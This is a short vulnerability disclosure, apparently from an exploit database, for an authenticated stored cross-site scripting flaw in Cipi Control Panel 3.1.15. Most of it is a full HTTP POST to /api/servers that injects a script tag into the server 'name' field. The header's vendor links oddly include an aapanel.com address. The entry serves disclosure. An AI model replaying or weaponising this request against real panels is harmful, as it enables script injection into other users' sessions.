[webapps] Cipi Control Panel 3.1.15 - Stored Cross-Site Scripting (XSS) (Authenticated)

# Exploit Title: Cipi Control Panel 3.1.15 - Stored Cross-Site Scripting (XSS) (Authenticated) # Date: 24.02.2022 # Exploit Author: Fikrat Ghuliev (Ghuliev) # Vendor Homepage: https://cipi.sh/ <https://www.aapanel.com/> # Software Link: https://cipi.sh/ <https://www.aapanel.com/> # Version: 3.1.15 # Tested on: Ubuntu When the user wants to add a new server on the "Server" panel, in "name" parameter has not had any filtration. POST /api/servers HTTP/1.1 Host: IP Content-Length: 102 Accept: application/json X-Requested-With: XMLHttpRequest Authorization: Bearer User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Content-Type: application/json Origin: http://IP Referer: http://IP/servers Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close { "name":"\"><script>alert(1337)</script>", "ip":"10.10.10.10", "provider":"local", "location":"xss test" }